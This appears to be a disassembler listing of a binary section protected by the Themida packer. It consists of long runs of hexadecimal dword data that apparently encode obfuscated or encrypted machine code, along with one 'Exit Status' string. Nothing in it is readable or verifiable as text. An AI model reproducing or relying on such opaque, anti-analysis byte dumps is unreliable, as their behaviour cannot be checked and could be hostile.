0D0FF0610h, 417A8589h, 85C60610h, 61023E5h, 3B736856h dd 34819EA1h, 9832124h, 99B5FF02h, 8D061014h, 103A3285h dd 89D0FF06h, 10417E85h, 68046A06h, 0F54F73A3h, 5D240481h dd 8B0AB09Ch, 10418A85h, 1F40506h, 0E0C10000h, 90509002h dd 95FF006Ah, 610417Eh, 41828589h, 0D88B0610h, 0FFFFFFB8h dd 2995FFFFh, 8B061001h, 2995FFC3h, 0E9061001h, 8Dh dword_54F6B0 dd 4186BD83h, 0F000610h, 185h, 8B57C300h, 104182BDh, 8583AB06h ; DATA XREF: Themida_:0054B594o dd 6104182h, 83C35F04h, 104186BDh, 850F0006h, 1, 0AD8360C3h dd 6104182h, 829D8B04h, 83061041h, 0FFFFC7Bh, 1D85h, 0D66A6800h dd 3481424Fh, 4F566A24h, 0FF006A42h, 7A95FF33h, 61061041h dd 26E9C3h, 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 10417A95h, 82AD8306h, 4061041h, 0FFFFA8E9h, 0ADE948FFh dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h dd 78410000h, 0D102AABCh, 3ED10BACh, 6463365Fh, 754261F1h dd 17C2AAEDh, 63606957h, 0FE5533A3h, 5E1C8DA6h, 9309A7BCh dd 29C303A0h, 7672650Dh, 3E4D24F6h, 1DB2C982h, 627D7D5Dh dd 0FE5561AFh, 5D138BA4h, 9313A7BCh, 36D91EBFh, 686E7B0Dh dd 305933EDh, 5186AAE9h, 737D794Ah, 0B05433E2h, 4B078BB1h dd 0DC15BEBCh, 36D71EBEh, 3, 62h dup(0) dd 78410000h, 0DD08A3BCh, 29D918B0h, 6A79660Dh, 7D4133E5h dd 283ACA8h, 626B7E18h, 0FF4661EDh, 19168ABDh, 0DD09BBEEh dd 7BD102B0h, 7C2B7844h, 305234EDh, 591BDFBh, 0D20715Dh dd 0F54C118Eh, 151797A9h, 0DF09BBBCh, 7BD20DB6h, 632B6244h dd 304D2EF0h, 1E8FA1E5h, 662E654Ah, 0E20025EDh, 580697ADh dd 0CA47BAEEh, 7BC419B6h, 6264645Dh, 3E4D20F0h, 48h dup(0) dd 78410000h, 0D215ADBCh, 29D307BAh, 712B650Ah, 304C2EEDh dd 5191A5E0h, 696B795Ah, 0E54F27A3h, 4B5280A6h, 0DA09A0E9h dd 32960BB7h, 6A723643h, 630033F7h, 1496B7F1h, 0A043255h dd 0F1452DD3h, 195E81BBh, 0DC0BA0E9h, 329608B8h, 776D3659h dd 7D002CEDh, 38DA9EDh, 696F3C41h, 0F55261E7h, 4B1390BBh dd 0DC1EEEE8h, 2B961EACh, 776C795Fh, 0E2CE3h, 61h dup(0) dd 7F410000h, 9302A2F5h, 29C403BAh, 607F6658h, 300E60E6h dd 28BACDCh, 687C6C18h, 0FD4133E4h, 4A138CE8h, 0D602ACBCh dd 3ADB4CB7h, 707B7F43h, 755420EEh, 1F83E4ECh, 66633C5Ch dd 9A4523FAh, 1E068DC5h, 0DD0EEEEFh, 2FD509BFh, 672B7248h dd 304161FBh, 490ADDEh, 75613C4Bh, 0F15222A3h, 5D178FABh dd 0DB33EEB2h, 3D961FB0h, 256E7A44h, 374E2EF5h, 1E95E4FCh dd 662E774Ah, 0FF4D38EDh, 5C81BAh, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 dd 2F1FE900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 970F71C3h, 50006AFCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 5D02DDADh dd 7AB1DC60h, 3DBD092Ah, 8B061006h, 1014559Dh, 6AC08B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 41E0C351h, 0AA746B83h, 4CC72FEDh, 83ACF780h dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535013h dd 1B8C0h, 9D8D0000h, 612B6B7h, 585BD3FFh, 95BD83h, 74000610h dd 0B8535011h, 1, 0B5689D8Dh, 0D3FF0612h, 6060585Bh, 2A359D01h dd 66610610h, 8729C681h, 0E9605661h, 0Ah, 0A3FCD63Ch, 388A2DC1h dd 61F57AE3h, 0F5C08B5Ah, 2D65BD83h, 0F000610h, 18B84h dd 0BBCB600h, 102ECD95h, 65BD8306h, 6102Fh, 176840Fh, 6E90000h dd 7A000000h, 1A4E4E3Ah, 0D68060B6h, 65858BE2h, 0E906102Fh dd 8, 7420169Eh, 51086A49h, 3E805h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8A5018E8h dd 240489F7h, 0A0A8BB66h, 4E49858Dh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8589EBC3h dd 61015A1h, 0F525050h, 158Ch, 0FE800h, 4F9E0000h, 5CBBAAF2h dd 0EDF1BED0h, 71B5EB44h, 310F5AE8h, 61605250h, 0BA66310Fh dd 585AE4FEh, 489585Ah, 8BD2B724h, 1000E59Dh, 27858D06h dd 5706104Eh, 9E9h, 52A6F800h, 5D62D3B9h, 905AF900h, 0CDA6EEBAh dd 24B75059h, 858D8990h, 0FF061016h, 10025195h, 0AE906h dd 2DDB0000h, 0C6E4244Ch, 7DD0B112h, 6A0CC483h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0B6FDC356h, 89BF3487h, 100D8D95h, 0EE806h, 717D0000h dd 3DD97920h, 38B3FB58h, 60328312h, 0BDC38166h, 858D5BCEh dd 6104E27h, 73B75090h, 3830F90h, 80000000h, 26A0EE7h dd 233D9D89h, 95FF0610h, 6AED14h, 6161FC60h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CC35343h, 1252496Ch dd 10B21CA5h, 4E5A85C7h, 10610h, 95230000h, 6102D39h, 24348950h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 99C35242h dd 20A99503h, 12E90610h, 4000000h, 0E702CF90h, 231298BDh dd 0B2ED3F49h, 0BBECAC68h, 0BB5898Eh, 306104Eh, 1005F99Dh dd 9BD8306h, 1061022h, 31850Fh, 0EB810000h, 6800AF50h dd 0F05F883h, 2285h, 859D8900h, 0B8061009h, 0 dd 12E9h, 0FC1D2900h, 3859ED0h, 7FA6BF5Eh, 6ED57299h, 83D247C3h dd 100B05BDh, 840F0006h, 43h, 0EBCB8166h, 6A607Bh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0B589EDC3h, 6102AF9h, 0B0595FFh, 0D78B0610h, 0C8E0F61h dd 0F000000h, 685h, 55958900h, 83061028h, 101359BDh, 840F0006h dd 0Eh, 259958Bh, 0B80610h, 66000000h, 0E960D68Bh, 11h dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 0A608A90Fh, 0B58B60E2h dd 6100935h, 1820Fh, 61F50000h, 10C5858Bh, 6A0610h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0ECBC2C3h, 0CDB8166h, 2C08304h, 13E9h, 8D28BA00h, 4AD57650h dd 0FCA228D9h, 5BFB004Fh, 0D2DDBDCAh, 4E038589h, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0EB81FAC3h, 68DEB93Dh, 23619D8Bh, 0C60610h, 56006AFFh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6870FE7h, 31000000h, 1007E99Dh, 0C1958B06h, 0E806100Bh dd 12h, 16436E55h, 494A65B3h, 67AE5D0h, 70AB3802h, 0C65AA430h dd 1023E585h, 81665306h, 68B315F2h, 0BEEC764Eh, 81DF8B66h dd 0D28A2404h, 85313DC4h, 6101CE1h, 1D45B5FFh, 60570610h dd 8B0Fh, 21BE0000h, 617DC5C0h, 0B19D235Bh, 8D06100Ch dd 13858A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0C23E7A8h, 80E1B55Bh, 0D38BDFDFh dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 65247BC3h, 0FF09E95h, 8B60DFBFh, 100BBD95h dd 55850306h, 6106100Bh, 31C98589h, 9D8B0610h, 6100DD5h dd 855BD83h, 0F010610h, 10885h, 6830F00h, 89000000h, 1013658Dh dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 96109EC3h, 0D81E0B80h, 0BD8B6055h, 6100565h dd 1CE08166h, 85C66175h, 61023E5h, 6890F45h, 8B000000h dd 101EA995h, 0C3A6806h, 850F7124h, 0 dd 88240481h, 6A693C2Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 910EC351h, 0BC936BA0h dd 665352E7h, 7839CB81h, 0B5FF5B5Ah, 6101D45h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0A8C35040h, 7D9D8B28h dd 0B06100Fh, 101B759Dh, 8A858D06h, 81061385h, 9B444BEBh dd 0BE835h, 0B6070000h, 0B8783869h, 3645A253h, 8E988h dd 0AB340000h, 11A0B9Ch, 0FF5B510Ch, 45BA66D0h, 119D8B75h dd 6A061008h, 84CA8100h, 2930862Bh, 101F4DB5h, 29D0FF06h dd 1012499Dh, 79BD8306h, 1061016h, 0DD850Fh, 8D890000h dd 61006D9h, 10C5858Bh, 85890610h, 61014E5h, 61605260h dd 16880F5Eh, 0E8000000h, 10h, 0CA3A3E18h, 0E076F566h dd 84A1144Eh, 0E873B2C6h, 5DE96158h, 89000000h, 1010B185h dd 890F5006h, 0Ah, 0BA665250h, 310F31D1h, 489585Ah, 146AF824h dd 8E856h, 20EC0000h, 4D9DA96Ah, 0CF8005DBh, 0F85B5A2Fh dd 31C995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0E4F6AC3h, 0B70FA472h, 58DA8BD7h dd 0F003880h, 0FFFFA085h, 8F0F56FFh, 6, 2AF99D8Bh, 0C65B0610h dd 6A0100h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0CBAEAC3h, 1AEE9CA0h, 858932D6h, 6102195h dd 61D6B70Fh, 5C5950Bh, 0BD830610h, 6101379h, 3C840F00h dd 81000000h, 33727CE3h, 29958B6Fh, 6A061021h, 0D3BF0FFFh dd 31C995FFh, 0B70F0610h, 0FFEDE9D9h, 0AE9FFFFh, 0BB000000h dd 0B3539721h, 0B201C870h, 8E0F5374h, 6, 860Fh, 0C75B0000h dd 10137985h, 106h, 0AD9D8B00h, 89061021h, 104E0F85h, 0B5896006h dd 61008A5h, 1CFECF81h, 506122E5h, 489F08Ah, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 84456851h, 0D680A41Ah, 9D8B6094h, 6100EF9h, 66F5056Ah dd 8D1AB8BBh, 104E2785h, 0B18D0106h, 90061031h, 0EE9h dd 0BD241300h, 0DBCBC587h, 49B6272Bh, 50E858B4h, 0D840Fh dd 52500000h, 853DBB66h, 8B66310Fh, 90585ADAh, 8DD08B66h dd 104E1785h, 0EE906h, 0B2030000h, 96AC0A2Eh, 0A6953D84h dd 6A967AD5h, 15CD9D33h, 66900610h, 5050DF8Bh, 13E852h dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h dd 5A1DB674h, 6060310Fh, 585A6161h, 819D0B90h, 0FF061021h dd 10080195h, 0CABB6606h, 1C8D8D56h, 0F06107Dh, 218Fh dd 14E96000h, 5B000000h, 0E79AC0AEh, 0F1D4EBC5h, 0A1CBDBABh dd 738C7191h, 8989F182h, 102F0585h, 0C00B6106h, 858D1174h dd 6104E27h, 89D1FF50h, 104E4585h, 0C70AEB06h, 104E4585h dd 0FFFFFF06h, 19958BFFh, 0B06102Ah, 100A3D95h, 89FC6106h dd 100F7595h, 0E585C606h, 4D061023h, 4E8h, 3576A800h, 6E960A4h dd 0BB000000h, 4DA6BDFDh, 53525076h, 5A310F5Ah, 66506158h dd 448BD88Bh, 0BB660424h, 8BE8D6h, 89D78B66h, 0F042444h dd 587h, 5E88BA00h, 6658545Ah, 0B5FFD78Bh, 6100945h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6CC35545h, 42239DAFh dd 0EFC0495Ah, 5066C381h, 858D50A4h, 613858Ah, 0FFDE8B66h dd 81950BD0h, 8906101Ch, 1012F585h, 25F38106h, 0C608BE83h dd 1023E585h, 81664506h, 0E85FFEF3h, 4, 8E726969h, 8A50B1B6h dd 24448BD7h, 66525004h, 310FDE8Bh, 48A0Fh, 0BA660000h dd 585AA072h, 0BB66008Bh, 44895B77h, 0D68B0424h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 505C1B1Ch, 7558D89h, 0FF5B0610h, 101D45B5h, 598D0906h dd 0F06101Ch, 858DD2B7h, 613858Ah, 1C898529h, 85890610h dd 6103101h, 12E9D0FFh, 5D000000h, 0AFE7D4E1h, 8B06B56Eh dd 0D781C545h, 0EE2AE4D8h, 0AD858978h, 6A061009h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 828FC353h, 0D28B6AF5h, 68F0Fh, 0BD890000h, 6100871h dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 94B5C355h, 0CEB2E370h, 35958905h dd 8006100Dh, 0C1F64DD7h, 11840F04h, 81000002h, 8A24EEDBh dd 0E1E953h, 81660000h, 8B329CDAh, 102955B5h, 10E806h dd 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch, 0C28157D2h dd 164DFA2Bh, 80C6815Bh, 8B000011h, 1016DD9Dh, 69BD8306h dd 61029h, 2E850Fh, 0D68B0000h, 90E9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6E972h, 8EB30000h, 0EB05E13Ch, 0F003E83h, 6084h, 89958900h dd 6006102Fh, 7E8h, 6722EA00h, 9282DA6Ch, 5AD08B66h, 9D8B146Ah dd 6101069h, 31C995FFh, 0DA800610h, 8166562Fh, 5AEE82D2h dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 1709120Eh, 28619533h, 9DE90610h, 89FFFFFFh dd 1012C5BDh, 106C706h, 66000000h, 83C5FFBBh, 104E0FBDh dd 850F0506h, 118h, 8BDEBF0Fh, 1009ADB5h, 8D9D8B06h, 0B906100Fh dd 64h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h dd 0D9C35040h, 1EBDAE7h, 10051D95h, 80CFB306h, 840FE83Eh dd 2Eh, 0E967C280h, 35h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 2DC35343h, 756FDC56h, 663D4764h, 7E80D98Bh dd 840FC205h, 61h, 0D7CA8166h, 958B46E2h, 6101AF5h, 0AC850F49h dd 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 8034C353h, 6A907979h, 89D76379h dd 100DBD8Dh, 0FE96006h, 2C000000h, 0A8BDB7E7h, 43FAE3B8h dd 6E1DD302h, 958950BBh, 610076Dh, 3EE961h, 0C3800000h dd 0ADB589DAh, 6A061015h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0F6C1C351h, 0A45B3D9Ah dd 0A19D8BB4h, 6006100Ch, 14E5958Bh, 0F520610h, 6158D7B7h dd 0EE958h, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h dd 0A79BD83h, 0F000610h, 15684h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C0BFE8F2h dd 958BD08Bh, 61015F5h, 15958960h, 0C606100Ch, 1023E585h dd 0D08B5406h, 4E8h, 4EBEF400h, 46B750FFh, 424448Bh, 12E860h dd 0BCDC0000h, 23D8B1Eh, 69BD7EFDh, 605027B5h, 27E5A789h dd 5BF28B66h, 0AE9h, 331C7400h, 2126E735h, 612FCC94h, 0E850008Bh dd 0Ah, 0DB2A7BDFh, 1176C428h, 5A5A3B4Eh, 4244489h, 14D6BB66h dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 3D9D8987h, 0FF061028h, 101D45B5h, 0E31BBA06h dd 858D2825h, 613858Ah, 9619509h, 958B0610h, 6102105h dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 42653BC3h, 7E9h, 17E03500h, 87C7D0FBh dd 0E5BB006Ah, 80724079h, 0B5FFDCCEh, 6100A79h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B8C35646h, 6AD0FF3Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 3C93C356h, 9533D234h, 6100D1Dh, 0AD8D8961h dd 0C706100Dh, 101E2985h, 106h, 0AE900h, 6F6D0000h, 10F976DCh dd 943DFD3Bh, 0D19D8B60h, 68061022h, 0B102BAD2h, 0AE9h dd 98C2B300h, 0C366151h, 81FF6B1Ch, 45AE2404h, 0FF6A4EFDh dd 715958Bh, 95FF0610h, 61006B9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 6CC35747h, 894D3C1Ah, 1018C9B5h dd 0B5896106h, 6102D39h, 66905090h, 0A048CA81h, 11A9858Bh dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 60EF8AC3h, 21219529h, 0C00B0610h, 2E840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 958B4CC3h, 6102F6Dh, 2EE195FFh, 0B5090610h dd 6101DE9h, 75185C7h, 10610h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F2FE3C3h dd 0BD83DFB7h, 6101701h, 0F840F00h, 80000000h, 95FF10E3h dd 61030B1h, 31A99D8Bh, 0BD830610h, 6102E85h, 23840F00h dd 0E8000000h, 7, 0E4616FE8h, 60F4C86Dh, 95896160h, 6102D35h dd 95FF5B61h, 6101639h, 1D7D9D89h, 0BD830610h, 6100939h dd 62840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 5639C351h, 0FDD9D89h dd 835A0610h, 1032BDBDh, 850F0006h, 31h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 80C35343h, 89C78BB8h dd 1026E58Dh, 0C195FF06h, 89061005h, 102D81B5h, 19BD8306h dd 61031h, 57840Fh, 0F6800000h, 658581E3h, 306100Eh, 6A000040h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 6DD8C353h, 54646474h, 8A1002EEh, 9E8D9h dd 70050000h, 0DA62FE0Ah, 0F39B998h, 38Bh, 0D1B70F00h dd 2D85815Ah, 3061013h, 8B000040h, 0E8310FD7h, 0Ah, 0C342690h dd 0E8080B9Ah, 0B70F8E35h, 8D8D5AD2h, 6105DFEh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h, 4B330A4Fh dd 815D7B88h, 0B59BA8DBh, 0F98D2977h, 89061015h, 50006A01h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 74DD975Bh, 89DC1194h, 100D5185h, 0B1958906h, 33061023h dd 89D78BC2h, 9D010441h, 61005B1h, 0BD31310Fh, 6101081h dd 5E468D8Dh, 80500610h, 895A59D2h, 0E1958B01h, 80061032h dd 0C23316CAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 1DC35242h, 33FBD894h, 3BE15A6Ah, 0A0BA66FCh, 441891Eh dd 83D3BF0Fh, 103195BDh, 840F0006h, 2Eh, 5BDD8A56h, 1C8D95FFh dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0ABE2E0C3h, 0C959D8Bh, 0BD830610h, 6100DE9h dd 6B850F01h, 0E8000000h, 8, 0EEDAD0D8h, 0C700ABE8h, 58E95Bh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 48896BC3h, 2CB2621h, 0CE9900Bh, 2C000000h dd 37D00BC2h, 0E769FF5Fh, 66360F2Ah, 0B58BD68Bh, 6105F7Eh dd 6C7h, 0B58B0000h, 6105D33h, 6C7h, 0FCCF0000h, 5218589h dd 0BD830610h, 6100751h, 0A3840F00h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0CAE6C355h, 0BD29C15Ah, 6100FB5h, 11B5BD83h, 0F010610h dd 15F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0E86D9AC6h, 12h, 4F03D01h, 0D76BD4B5h dd 0B41C6792h, 87E3F30Dh, 0CA814F9Bh, 4B937099h, 0D5B5315Ah dd 8B06101Dh, 104E038Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 481EBBDCh, 0C6E29B3Ch dd 33520001h, 101D059Dh, 0B3605A06h, 0D38B669Ch, 59D25B68h dd 0E96060ADh, 0Fh, 7BBC67F2h, 39E5D911h, 0D9374A93h, 6619D413h dd 612C88BFh, 38E0Fh, 8B660000h, 48161CEh, 0A62E2524h dd 51006A52h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0A231677Dh, 92B3156Bh, 0CA80FF6Ah, 2D958BEBh dd 0FF06100Eh, 1006B995h, 0EBF28006h, 0D2BF0F61h, 1F8995FFh dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0C0E21FC3h, 0F627EBCEh, 2DD5BD89h, 8D8B0610h dd 6104E03h, 0FECBE280h, 50006A01h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0C25D8436h, 1BC03512h dd 11E872F0h, 0CC000000h, 0DFA98C07h, 0FA70950Fh, 9B593D2h dd 0A035F250h, 5BD18B66h, 1D5BD83h, 0F010610h, 585h, 2BA6600h dd 0C08BFCE0h, 0BD83B2B7h, 610158Dh, 83097500h, 100095BDh dd 1A740006h, 0C08B5350h, 0E65858Bh, 85890610h, 6100E65h dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50187400h dd 65858B53h, 8906100Eh, 100E6585h, 49D8D06h, 0FF0612B5h dd 0F585BD3h, 884h, 2870F00h, 8B000000h, 51006ADEh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 27BB57EAh, 5A385157h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E8D302C3h, 8, 8322AEEDh dd 43C16182h, 105D958Bh, 665B0610h, 0BD83D78Bh, 6100751h dd 4F850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 2E5EC350h, 47B87C5Eh dd 0E9378231h, 10h, 58DD93BAh, 7995DE9Bh, 0B0FA5E84h, 0E7F531F0h dd 2779958Bh, 0BD830610h, 6100AA1h, 3840F00h, 0F000000h dd 0BD83DAB7h, 6100751h, 15840F00h, 0B2000000h, 35BD8367h dd 6101Eh, 6840Fh, 8D890000h, 610335Dh, 751BD83h, 0F000610h dd 1284h, 35BD8300h, 6101Eh, 5840Fh, 81660000h, 83A8BBCAh dd 100751BDh, 840F0006h, 34h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0D7C35242h, 15BD83h, 0F000610h dd 0B84h, 6E900h, 4B780000h, 0B52189Fh, 751BD83h, 0F000610h dd 2384h, 0FBBB6600h, 0E1BD83A1h, 61021h, 12840Fh, 9D890000h dd 6101241h, 1B6D95FFh, 9D890610h, 61021CDh, 6AC08Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 888B8BC3h, 13859D8Bh, 0CBB20610h, 158DBD83h, 75000610h dd 95BD8309h, 61000h, 53501A74h, 858BC08Bh, 610132Dh, 132D8589h dd 9D8D0610h, 612B87Ch, 585BD3FFh, 95BD83h, 74000610h dd 8B535018h, 10132D85h, 2D858906h, 8D061013h, 12B51D9Dh dd 5BD3FF06h, 6E958h, 0A4A30000h, 0F2F669FCh dd 9B1958Bh, 0C08B0610h, 1A7D8589h, 0BD830610h, 6100751h dd 8F840F00h, 89000004h, 1023D985h, 55BD8306h, 2061008h dd 2F840Fh, 0BD010000h, 6101C99h, 0DE9BD83h, 0F010610h dd 1C85h, 858B6000h, 61004D9h, 0FE9h, 0D5ECA600h, 811F61F8h dd 8FEA4169h, 0FCCF2A27h, 6A6061h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D8B24C3h, 6104E03h dd 0DAD28166h, 6A01FEDCh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0F1C2C355h, 4E8C9h dd 800000h, 0BB660000h, 0B7500D67h, 24448B83h, 8BD38B04h dd 0BA665600h, 895B9C88h, 0E9042444h, 5, 8F82996Fh, 6AFC584Fh dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 81667403h, 0FFF61FC2h, 1006B995h, 3D950B06h dd 0F06100Ah, 680h, 61853100h, 61061021h, 11398529h, 0BD8D0610h dd 6100CB5h, 8BF6EA80h, 0BA661C4Fh, 0F7807981h, 29016ACEh dd 102225B5h, 181EBB06h, 0B750272Ch, 240C89B8h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8CC35040h, 0C697BE7Eh dd 8D0ADE80h, 1345E685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0C660E70Fh, 0D0FFF486h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 71C35242h dd 39EB81B2h, 0F677F5Dh, 489h, 0B7BB6600h, 204F8BA3h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3FC35343h, 0B589036Ah dd 610045Dh, 50525091h, 0FD98B52h, 5A5B5031h, 5A310F58h dd 53605058h, 0BC82BA66h, 943ABB5Bh, 916169C4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 18C35040h, 0F69DE8A0h dd 85BD898Eh, 8D06101Dh, 1345E685h, 51953106h, 0FF061029h dd 68F0FD0h, 29000000h, 1014358Dh, 0B5BD8D06h, 6006100Ch dd 5E9h, 7C1E8700h, 820F5EF8h, 5, 0C417E2B8h, 4F8B6172h dd 0E9CA801Ch, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 2C0919C3h, 50D3B70Fh, 0B09FB360h dd 0C896173h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 34D4C028h, 0D18BD08Bh, 8DD08B66h dd 1345E685h, 68C0F06h, 8B000000h, 102D699Dh, 66D0FF06h dd 483DEA81h, 0F204F8Bh, 387h, 41DF8000h, 6A036Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 23E36EC3h, 101CB595h, 0BB665006h, 0C899543h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6890FFEh, 89000000h, 1029519Dh, 0E6858D06h, 6A061345h dd 